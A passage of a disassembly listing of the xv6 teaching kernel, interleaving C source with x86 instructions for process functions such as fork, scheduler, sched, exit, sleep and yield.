$0xc,%esp return -1; } else if(n < 0){ if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } curproc->sz = sz; 801038dd: 89 03 mov %eax,(%ebx) switchuvm(curproc); 801038df: 53 push %ebx 801038e0: e8 8b 2f 00 00 call 80106870 <switchuvm> return 0; 801038e5: 83 c4 10 add $0x10,%esp 801038e8: 31 c0 xor %eax,%eax } 801038ea: 8d 65 f8 lea -0x8(%ebp),%esp 801038ed: 5b pop %ebx 801038ee: 5e pop %esi 801038ef: 5d pop %ebp 801038f0: c3 ret 801038f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sz = curproc->sz; if(n > 0){ if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } else if(n < 0){ 801038f8: 74 e0 je 801038da <growproc+0x3a> if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 801038fa: 83 ec 04 sub $0x4,%esp 801038fd: 01 c6 add %eax,%esi 801038ff: 56 push %esi 80103900: 50 push %eax 80103901: ff 73 04 pushl 0x4(%ebx) 80103904: e8 b7 32 00 00 call 80106bc0 <deallocuvm> 80103909: 83 c4 10 add $0x10,%esp 8010390c: 85 c0 test %eax,%eax 8010390e: 75 ca jne 801038da <growproc+0x3a> struct proc *curproc = myproc(); sz = curproc->sz; if(n > 0){ if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; 80103910: b8 ff ff ff ff mov $0xffffffff,%eax 80103915: eb d3 jmp 801038ea <growproc+0x4a> 80103917: 89 f6 mov %esi,%esi 80103919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103920 <fork>: // Create a new process copying p as the parent. // Sets up stack to return as if from system call. // Caller must set state of returned proc to RUNNABLE. int fork(void) { 80103920: 55 push %ebp 80103921: 89 e5 mov %esp,%ebp 80103923: 57 push %edi 80103924: 56 push %esi 80103925: 53 push %ebx 80103926: 83 ec 1c sub $0x1c,%esp // while reading proc from the cpu structure struct proc* myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103929: e8 32 09 00 00 call 80104260 <pushcli> c = mycpu(); 8010392e: e8 ad fd ff ff call 801036e0 <mycpu> p = c->proc; 80103933: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103939: e8 62 09 00 00 call 801042a0 <popcli> int i, pid; struct proc *np; struct proc *curproc = myproc(); // Allocate process. if((np = allocproc()) == 0){ 8010393e: e8 6d fc ff ff call 801035b0 <allocproc> 80103943: 85 c0 test %eax,%eax 80103945: 89 c7 mov %eax,%edi 80103947: 89 45 e4 mov %eax,-0x1c(%ebp) 8010394a: 0f 84 b5 00 00 00 je 80103a05 <fork+0xe5> return -1; } // Copy process state from proc. if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 80103950: 83 ec 08 sub $0x8,%esp 80103953: ff 33 pushl (%ebx) 80103955: ff 73 04 pushl 0x4(%ebx) 80103958: e8 e3 33 00 00 call 80106d40 <copyuvm> 8010395d: 83 c4 10 add $0x10,%esp 80103960: 85 c0 test %eax,%eax 80103962: 89 47 04 mov %eax,0x4(%edi) 80103965: 0f 84 a1 00 00 00 je 80103a0c <fork+0xec> kfree(np->kstack); np->kstack = 0; np->state = UNUSED; return -1; } np->sz = curproc->sz; 8010396b: 8b 03 mov (%ebx),%eax 8010396d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103970: 89 01 mov %eax,(%ecx) np->parent = curproc; 80103972: 89 59 14 mov %ebx,0x14(%ecx) *np->tf = *curproc->tf; 80103975: 89 c8 mov %ecx,%eax 80103977: 8b 79 18 mov 0x18(%ecx),%edi 8010397a: 8b 73 18 mov 0x18(%ebx),%esi 8010397d: b9 13 00 00 00 mov $0x13,%ecx 80103982: f3 a5 rep movsl %ds:(%esi),%es:(%edi) // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for(i = 0; i < NOFILE; i++) 80103984: 31 f6 xor %esi,%esi np->sz = curproc->sz; np->parent = curproc; *np->tf = *curproc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; 80103986: 8b 40 18 mov 0x18(%eax),%eax 80103989: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) for(i = 0; i < NOFILE; i++) if(curproc->ofile[i]) 80103990: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103994: 85 c0 test %eax,%eax 80103996: 74 13 je 801039ab <fork+0x8b> np->ofile[i] = filedup(curproc->ofile[i]); 80103998: 83 ec 0c sub $0xc,%esp 8010399b: 50 push %eax 8010399c: e8 3f d4 ff ff call 80100de0 <filedup> 801039a1: 8b 55 e4 mov -0x1c(%ebp),%edx 801039a4: 83 c4 10 add $0x10,%esp 801039a7: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) *np->tf = *curproc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for(i = 0; i < NOFILE; i++) 801039ab: 83 c6 01 add $0x1,%esi 801039ae: 83 fe 10 cmp $0x10,%esi 801039b1: 75 dd jne 80103990 <fork+0x70> if(curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801039b3: 83 ec 0c sub $0xc,%esp 801039b6: ff 73 68 pushl 0x68(%ebx) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801039b9: 83 c3 6c add $0x6c,%ebx np->tf->eax = 0; for(i = 0; i < NOFILE; i++) if(curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801039bc: e8 7f dc ff ff call 80101640 <idup> 801039c1: 8b 7d e4 mov -0x1c(%ebp),%edi safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801039c4: 83 c4 0c add $0xc,%esp np->tf->eax = 0; for(i = 0; i < NOFILE; i++) if(curproc->ofile[i]) np->ofile[i] = filedup(curproc->ofile[i]); np->cwd = idup(curproc->cwd); 801039c7: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801039ca: 8d 47 6c lea 0x6c(%edi),%eax 801039cd: 6a 10 push $0x10 801039cf: 53 push %ebx 801039d0: 50 push %eax 801039d1: e8 6a 0c 00 00 call 80104640 <safestrcpy> pid = np->pid; 801039d6: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 801039d9: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 801039e0: e8 5b 09 00 00 call 80104340 <acquire> np->state = RUNNABLE; 801039e5: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 801039ec: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 801039f3: e8 f8 09 00 00 call 801043f0 <release> return pid; 801039f8: 83 c4 10 add $0x10,%esp 801039fb: 89 d8 mov %ebx,%eax } 801039fd: 8d 65 f4 lea -0xc(%ebp),%esp 80103a00: 5b pop %ebx 80103a01: 5e pop %esi 80103a02: 5f pop %edi 80103a03: 5d pop %ebp 80103a04: c3 ret struct proc *np; struct proc *curproc = myproc(); // Allocate process. if((np = allocproc()) == 0){ return -1; 80103a05: b8 ff ff ff ff mov $0xffffffff,%eax 80103a0a: eb f1 jmp 801039fd <fork+0xdd> } // Copy process state from proc. if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ kfree(np->kstack); 80103a0c: 8b 7d e4 mov -0x1c(%ebp),%edi 80103a0f: 83 ec 0c sub $0xc,%esp 80103a12: ff 77 08 pushl 0x8(%edi) 80103a15: e8 c6 e8 ff ff call 801022e0 <kfree> np->kstack = 0; 80103a1a: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi) np->state = UNUSED; 80103a21: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi) return -1; 80103a28: 83 c4 10 add $0x10,%esp 80103a2b: b8 ff ff ff ff mov $0xffffffff,%eax 80103a30: eb cb jmp 801039fd <fork+0xdd> 80103a32: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103a40 <scheduler>: // - swtch to start running that process // - eventually that process transfers control // via swtch back to the scheduler. void scheduler(void) { 80103a40: 55 push %ebp 80103a41: 89 e5 mov %esp,%ebp 80103a43: 57 push %edi 80103a44: 56 push %esi 80103a45: 53 push %ebx 80103a46: 83 ec 0c sub $0xc,%esp struct proc *p; struct cpu *c = mycpu(); 80103a49: e8 92 fc ff ff call 801036e0 <mycpu> 80103a4e: 8d 78 04 lea 0x4(%eax),%edi 80103a51: 89 c6 mov %eax,%esi c->proc = 0; 80103a53: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103a5a: 00 00 00 80103a5d: 8d 76 00 lea 0x0(%esi),%esi } static inline void sti(void) { asm volatile("sti"); 80103a60: fb sti for(;;){ // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); 80103a61: 83 ec 0c sub $0xc,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103a64: bb 74 2d 11 80 mov $0x80112d74,%ebx for(;;){ // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); 80103a69: 68 40 2d 11 80 push $0x80112d40 80103a6e: e8 cd 08 00 00 call 80104340 <acquire> 80103a73: 83 c4 10 add $0x10,%esp 80103a76: eb 13 jmp 80103a8b <scheduler+0x4b> 80103a78: 90 nop 80103a79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103a80: 83 c3 7c add $0x7c,%ebx 80103a83: 81 fb 74 4c 11 80 cmp $0x80114c74,%ebx 80103a89: 74 45 je 80103ad0 <scheduler+0x90> if(p->state != RUNNABLE) 80103a8b: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103a8f: 75 ef jne 80103a80 <scheduler+0x40> // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. c->proc = p; switchuvm(p); 80103a91: 83 ec 0c sub $0xc,%esp continue; // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. c->proc = p; 80103a94: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 80103a9a: 53 push %ebx // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103a9b: 83 c3 7c add $0x7c,%ebx // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. c->proc = p; switchuvm(p); 80103a9e: e8 cd 2d 00 00 call 80106870 <switchuvm> p->state = RUNNING; swtch(&(c->scheduler), p->context); 80103aa3: 58 pop %eax 80103aa4: 5a pop %edx 80103aa5: ff 73 a0 pushl -0x60(%ebx) 80103aa8: 57 push %edi // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. c->proc = p; switchuvm(p); p->state = RUNNING; 80103aa9: c7 43 90 04 00 00 00 movl $0x4,-0x70(%ebx) swtch(&(c->scheduler), p->context); 80103ab0: e8 e6 0b 00 00 call 8010469b <swtch> switchkvm(); 80103ab5: e8 96 2d 00 00 call 80106850 <switchkvm> // Process is done running for now. // It should have changed its p->state before coming back. c->proc = 0; 80103aba: 83 c4 10 add $0x10,%esp // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103abd: 81 fb 74 4c 11 80 cmp $0x80114c74,%ebx swtch(&(c->scheduler), p->context); switchkvm(); // Process is done running for now. // It should have changed its p->state before coming back. c->proc = 0; 80103ac3: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 80103aca: 00 00 00 // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103acd: 75 bc jne 80103a8b <scheduler+0x4b> 80103acf: 90 nop // Process is done running for now. // It should have changed its p->state before coming back. c->proc = 0; } release(&ptable.lock); 80103ad0: 83 ec 0c sub $0xc,%esp 80103ad3: 68 40 2d 11 80 push $0x80112d40 80103ad8: e8 13 09 00 00 call 801043f0 <release> } 80103add: 83 c4 10 add $0x10,%esp 80103ae0: e9 7b ff ff ff jmp 80103a60 <scheduler+0x20> 80103ae5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103af0 <sched>: // be proc->intena and proc->ncli, but that would // break in the few places where a lock is held but // there's no process. void sched(void) { 80103af0: 55 push %ebp 80103af1: 89 e5 mov %esp,%ebp 80103af3: 56 push %esi 80103af4: 53 push %ebx // while reading proc from the cpu structure struct proc* myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103af5: e8 66 07 00 00 call 80104260 <pushcli> c = mycpu(); 80103afa: e8 e1 fb ff ff call 801036e0 <mycpu> p = c->proc; 80103aff: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103b05: e8 96 07 00 00 call 801042a0 <popcli> sched(void) { int intena; struct proc *p = myproc(); if(!holding(&ptable.lock)) 80103b0a: 83 ec 0c sub $0xc,%esp 80103b0d: 68 40 2d 11 80 push $0x80112d40 80103b12: e8 f9 07 00 00 call 80104310 <holding> 80103b17: 83 c4 10 add $0x10,%esp 80103b1a: 85 c0 test %eax,%eax 80103b1c: 74 4f je 80103b6d <sched+0x7d> panic("sched ptable.lock"); if(mycpu()->ncli != 1) 80103b1e: e8 bd fb ff ff call 801036e0 <mycpu> 80103b23: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103b2a: 75 68 jne 80103b94 <sched+0xa4> panic("sched locks"); if(p->state == RUNNING) 80103b2c: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103b30: 74 55 je 80103b87 <sched+0x97> static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103b32: 9c pushf 80103b33: 58 pop %eax panic("sched running"); if(readeflags()&FL_IF) 80103b34: f6 c4 02 test $0x2,%ah 80103b37: 75 41 jne 80103b7a <sched+0x8a> panic("sched interruptible"); intena = mycpu()->intena; 80103b39: e8 a2 fb ff ff call 801036e0 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103b3e: 83 c3 1c add $0x1c,%ebx panic("sched locks"); if(p->state == RUNNING) panic("sched running"); if(readeflags()&FL_IF) panic("sched interruptible"); intena = mycpu()->intena; 80103b41: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103b47: e8 94 fb ff ff call 801036e0 <mycpu> 80103b4c: 83 ec 08 sub $0x8,%esp 80103b4f: ff 70 04 pushl 0x4(%eax) 80103b52: 53 push %ebx 80103b53: e8 43 0b 00 00 call 8010469b <swtch> mycpu()->intena = intena; 80103b58: e8 83 fb ff ff call 801036e0 <mycpu> } 80103b5d: 83 c4 10 add $0x10,%esp panic("sched running"); if(readeflags()&FL_IF) panic("sched interruptible"); intena = mycpu()->intena; swtch(&p->context, mycpu()->scheduler); mycpu()->intena = intena; 80103b60: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103b66: 8d 65 f8 lea -0x8(%ebp),%esp 80103b69: 5b pop %ebx 80103b6a: 5e pop %esi 80103b6b: 5d pop %ebp 80103b6c: c3 ret { int intena; struct proc *p = myproc(); if(!holding(&ptable.lock)) panic("sched ptable.lock"); 80103b6d: 83 ec 0c sub $0xc,%esp 80103b70: 68 b0 74 10 80 push $0x801074b0 80103b75: e8 f6 c7 ff ff call 80100370 <panic> if(mycpu()->ncli != 1) panic("sched locks"); if(p->state == RUNNING) panic("sched running"); if(readeflags()&FL_IF) panic("sched interruptible"); 80103b7a: 83 ec 0c sub $0xc,%esp 80103b7d: 68 dc 74 10 80 push $0x801074dc 80103b82: e8 e9 c7 ff ff call 80100370 <panic> if(!holding(&ptable.lock)) panic("sched ptable.lock"); if(mycpu()->ncli != 1) panic("sched locks"); if(p->state == RUNNING) panic("sched running"); 80103b87: 83 ec 0c sub $0xc,%esp 80103b8a: 68 ce 74 10 80 push $0x801074ce 80103b8f: e8 dc c7 ff ff call 80100370 <panic> struct proc *p = myproc(); if(!holding(&ptable.lock)) panic("sched ptable.lock"); if(mycpu()->ncli != 1) panic("sched locks"); 80103b94: 83 ec 0c sub $0xc,%esp 80103b97: 68 c2 74 10 80 push $0x801074c2 80103b9c: e8 cf c7 ff ff call 80100370 <panic> 80103ba1: eb 0d jmp 80103bb0 <exit> 80103ba3: 90 nop 80103ba4: 90 nop 80103ba5: 90 nop 80103ba6: 90 nop 80103ba7: 90 nop 80103ba8: 90 nop 80103ba9: 90 nop 80103baa: 90 nop 80103bab: 90 nop 80103bac: 90 nop 80103bad: 90 nop 80103bae: 90 nop 80103baf: 90 nop 80103bb0 <exit>: // Exit the current process. Does not return. // An exited process remains in the zombie state // until its parent calls wait() to find out it exited. void exit(void) { 80103bb0: 55 push %ebp 80103bb1: 89 e5 mov %esp,%ebp 80103bb3: 57 push %edi 80103bb4: 56 push %esi 80103bb5: 53 push %ebx 80103bb6: 83 ec 0c sub $0xc,%esp // while reading proc from the cpu structure struct proc* myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103bb9: e8 a2 06 00 00 call 80104260 <pushcli> c = mycpu(); 80103bbe: e8 1d fb ff ff call 801036e0 <mycpu> p = c->proc; 80103bc3: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103bc9: e8 d2 06 00 00 call 801042a0 <popcli> { struct proc *curproc = myproc(); struct proc *p; int fd; if(curproc == initproc) 80103bce: 39 35 bc a5 10 80 cmp %esi,0x8010a5bc 80103bd4: 8d 5e 28 lea 0x28(%esi),%ebx 80103bd7: 8d 7e 68 lea 0x68(%esi),%edi 80103bda: 0f 84 e7 00 00 00 je 80103cc7 <exit+0x117> panic("init exiting"); // Close all open files. for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd]){ 80103be0: 8b 03 mov (%ebx),%eax 80103be2: 85 c0 test %eax,%eax 80103be4: 74 12 je 80103bf8 <exit+0x48> fileclose(curproc->ofile[fd]); 80103be6: 83 ec 0c sub $0xc,%esp 80103be9: 50 push %eax 80103bea: e8 41 d2 ff ff call 80100e30 <fileclose> curproc->ofile[fd] = 0; 80103bef: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103bf5: 83 c4 10 add $0x10,%esp 80103bf8: 83 c3 04 add $0x4,%ebx if(curproc == initproc) panic("init exiting"); // Close all open files. for(fd = 0; fd < NOFILE; fd++){ 80103bfb: 39 df cmp %ebx,%edi 80103bfd: 75 e1 jne 80103be0 <exit+0x30> fileclose(curproc->ofile[fd]); curproc->ofile[fd] = 0; } } begin_op(); 80103bff: e8 4c ef ff ff call 80102b50 <begin_op> iput(curproc->cwd); 80103c04: 83 ec 0c sub $0xc,%esp 80103c07: ff 76 68 pushl 0x68(%esi) 80103c0a: e8 91 db ff ff call 801017a0 <iput> end_op(); 80103c0f: e8 ac ef ff ff call 80102bc0 <end_op> curproc->cwd = 0; 80103c14: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi) acquire(&ptable.lock); 80103c1b: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 80103c22: e8 19 07 00 00 call 80104340 <acquire> // Parent might be sleeping in wait(). wakeup1(curproc->parent); 80103c27: 8b 56 14 mov 0x14(%esi),%edx 80103c2a: 83 c4 10 add $0x10,%esp static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103c2d: b8 74 2d 11 80 mov $0x80112d74,%eax 80103c32: eb 0e jmp 80103c42 <exit+0x92> 80103c34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103c38: 83 c0 7c add $0x7c,%eax 80103c3b: 3d 74 4c 11 80 cmp $0x80114c74,%eax 80103c40: 74 1c je 80103c5e <exit+0xae> if(p->state == SLEEPING && p->chan == chan) 80103c42: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103c46: 75 f0 jne 80103c38 <exit+0x88> 80103c48: 3b 50 20 cmp 0x20(%eax),%edx 80103c4b: 75 eb jne 80103c38 <exit+0x88> p->state = RUNNABLE; 80103c4d: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103c54: 83 c0 7c add $0x7c,%eax 80103c57: 3d 74 4c 11 80 cmp $0x80114c74,%eax 80103c5c: 75 e4 jne 80103c42 <exit+0x92> wakeup1(curproc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->parent == curproc){ p->parent = initproc; 80103c5e: 8b 0d bc a5 10 80 mov 0x8010a5bc,%ecx 80103c64: ba 74 2d 11 80 mov $0x80112d74,%edx 80103c69: eb 10 jmp 80103c7b <exit+0xcb> 80103c6b: 90 nop 80103c6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi // Parent might be sleeping in wait(). wakeup1(curproc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c70: 83 c2 7c add $0x7c,%edx 80103c73: 81 fa 74 4c 11 80 cmp $0x80114c74,%edx 80103c79: 74 33 je 80103cae <exit+0xfe> if(p->parent == curproc){ 80103c7b: 39 72 14 cmp %esi,0x14(%edx) 80103c7e: 75 f0 jne 80103c70 <exit+0xc0> p->parent = initproc; if(p->state == ZOMBIE) 80103c80: 83 7a 0c 05 cmpl $0x5,0xc(%edx) wakeup1(curproc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->parent == curproc){ p->parent = initproc; 80103c84: 89 4a 14 mov %ecx,0x14(%edx) if(p->state == ZOMBIE) 80103c87: 75 e7 jne 80103c70 <exit+0xc0> 80103c89: b8 74 2d 11 80 mov $0x80112d74,%eax 80103c8e: eb 0a jmp 80103c9a <exit+0xea> static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103c90: 83 c0 7c add $0x7c,%eax 80103c93: 3d 74 4c 11 80 cmp $0x80114c74,%eax 80103c98: 74 d6 je 80103c70 <exit+0xc0> if(p->state == SLEEPING && p->chan == chan) 80103c9a: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103c9e: 75 f0 jne 80103c90 <exit+0xe0> 80103ca0: 3b 48 20 cmp 0x20(%eax),%ecx 80103ca3: 75 eb jne 80103c90 <exit+0xe0> p->state = RUNNABLE; 80103ca5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103cac: eb e2 jmp 80103c90 <exit+0xe0> wakeup1(initproc); } } // Jump into the scheduler, never to return. curproc->state = ZOMBIE; 80103cae: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi) sched(); 80103cb5: e8 36 fe ff ff call 80103af0 <sched> panic("zombie exit"); 80103cba: 83 ec 0c sub $0xc,%esp 80103cbd: 68 fd 74 10 80 push $0x801074fd 80103cc2: e8 a9 c6 ff ff call 80100370 <panic> struct proc *curproc = myproc(); struct proc *p; int fd; if(curproc == initproc) panic("init exiting"); 80103cc7: 83 ec 0c sub $0xc,%esp 80103cca: 68 f0 74 10 80 push $0x801074f0 80103ccf: e8 9c c6 ff ff call 80100370 <panic> 80103cd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103cda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103ce0 <yield>: } // Give up the CPU for one scheduling round. void yield(void) { 80103ce0: 55 push %ebp 80103ce1: 89 e5 mov %esp,%ebp 80103ce3: 53 push %ebx 80103ce4: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); //DOC: yieldlock 80103ce7: 68 40 2d 11 80 push $0x80112d40 80103cec: e8 4f 06 00 00 call 80104340 <acquire> // while reading proc from the cpu structure struct proc* myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103cf1: e8 6a 05 00 00 call 80104260 <pushcli> c = mycpu(); 80103cf6: e8 e5 f9 ff ff call 801036e0 <mycpu> p = c->proc; 80103cfb: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103d01: e8 9a 05 00 00 call 801042a0 <popcli> // Give up the CPU for one scheduling round. void yield(void) { acquire(&ptable.lock); //DOC: yieldlock myproc()->state = RUNNABLE; 80103d06: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) sched(); 80103d0d: e8 de fd ff ff call 80103af0 <sched> release(&ptable.lock); 80103d12: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 80103d19: e8 d2 06 00 00 call 801043f0 <release> } 80103d1e: 83 c4 10 add $0x10,%esp 80103d21: 8b 5d fc mov -0x4(%ebp),%ebx 80103d24: c9 leave 80103d25: c3 ret 80103d26: 8d 76 00 lea 0x0(%esi),%esi 80103d29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103d30 <sleep>: // Atomically release lock and sleep on chan. // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { 80103d30: 55 push %ebp 80103d31: 89 e5 mov %esp,%ebp 80103d33: 57 push %edi 80103d34: 56 push %esi 80103d35: 53 push %ebx 80103d36: 83 ec 0c sub $0xc,%esp 80103d39: 8b 7d 08 mov 0x8(%ebp),%edi 80103d3c: 8b 75 0c mov 0xc(%ebp),%esi // while reading proc from the cpu structure struct proc* myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103d3f: e8 1c 05 00 00 call 80104260 <pushcli> c = mycpu(); 80103d44: e8 97 f9 ff ff call 801036e0 <mycpu> p = c->proc; 80103d49: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103d4f: e8 4c 05 00 00 call 801042a0 <popcli> void sleep(void *chan, struct spinlock *lk) { struct proc *p = myproc(); if(p == 0) 80103d54: 85 db test %ebx,%ebx 80103d56: 0f 84 87 00 00 00 je 80103de3 <sleep+0xb3> panic("sleep"); if(lk == 0) 80103d5c: 85 f6 test %esi,%esi 80103d5e: 74 76 je 80103dd6 <sleep+0xa6> // change p->state and then call sched. // Once we hold ptable.lock, we can be // guaranteed that we won't miss any wakeup // (wakeup runs with ptable.lock locked), // so it's okay to release lk. if(lk != &ptable.lock){ //DOC: sleeplock0 80103d60: 81 fe 40 2d 11 80 cmp $0x80112d40,%esi 80103d66: 74 50 je 80103db8 <sleep+0x88> acquire(&ptable.lock); //DOC: sleeplock1 80103d68: 83 ec 0c sub $0xc,%esp 80103d6b: 68 40 2d 11 80 push $0x80112d40 80103d70: e8 cb 05 00 00 call 80104340 <acquire> release(lk); 80103d75: 89 34 24 mov %esi,(%esp) 80103d78: e8 73 06 00 00 call 801043f0 <release> } // Go to sleep. p->chan = chan; 80103d7d: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103d80: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103d87: e8 64 fd ff ff call 80103af0 <sched> // Tidy up. p->chan = 0; 80103d8c: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 release(&ptable.lock); 80103d93: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 80103d9a: e8 51 06 00 00 call 801043f0 <release> acquire(lk); 80103d9f: 89 75 08 mov %esi,0x8(%ebp) 80103da2: 83 c4 10 add $0x10,%esp } } 80103da5: 8d 65 f4 lea -0xc(%ebp),%esp 80103da8: 5b pop %ebx 80103da9: 5e pop %esi 80103daa: 5f pop %edi 80103dab: 5d pop %ebp p->chan = 0; // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 release(&ptable.lock); acquire(lk); 80103dac: e9 8f 05 00 00 jmp 80104340 <acquire> 80103db1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(lk != &ptable.lock){ //DOC: sleeplock0 acquire(&ptable.lock); //DOC: sleeplock1 release(lk); } // Go to sleep. p->chan = chan; 80103db8: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103dbb: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103dc2: e8 29 fd ff ff call 80103af0 <sched> // Tidy up. p->chan = 0; 80103dc7: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 release(&ptable.lock); acquire(lk); } } 80103dce: 8d 65 f4 lea -0xc(%ebp),%esp 80103dd1: 5b pop %ebx 80103dd2: 5e pop %esi 80103dd3: 5f pop %edi 80103dd4: 5d pop %ebp 80103dd5: c3 ret if(p == 0) panic("sleep"); if(lk == 0) panic("sleep without lk"); 80103dd6: 83 ec 0c sub $0xc,%esp 80103dd9: 68 0f 75 10 80 push $0x8010750f 80103dde: e8 8d c5 ff ff call 80100370 <panic> sleep(void *chan, struct spinlock *lk) { struct proc *p = myproc(); if(p == 0) panic("sleep"); 80103de3: 83 ec 0c sub $0xc,%esp 80103de6: 68 09 75 10 80 push $0x80107509 80103deb: e8 80 c5 ff ff call 80100370 <panic> 80103df0 <wait>: // Wait for a child process to exit and return its pid. // Return -1 if this process has no children. int wait(void) { 80103df0: 55 push %ebp 80103df1: 89 e5 mov %esp,%ebp 80103df3: 56 push %esi 80103df4: 53 push %ebx // while reading proc from the cpu structure struct proc* myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103df5: e8 66 04 00 00 call 80104260 <pushcli> c = mycpu(); 80103dfa: e8 e1 f8 ff ff call 801036e0 <mycpu> p = 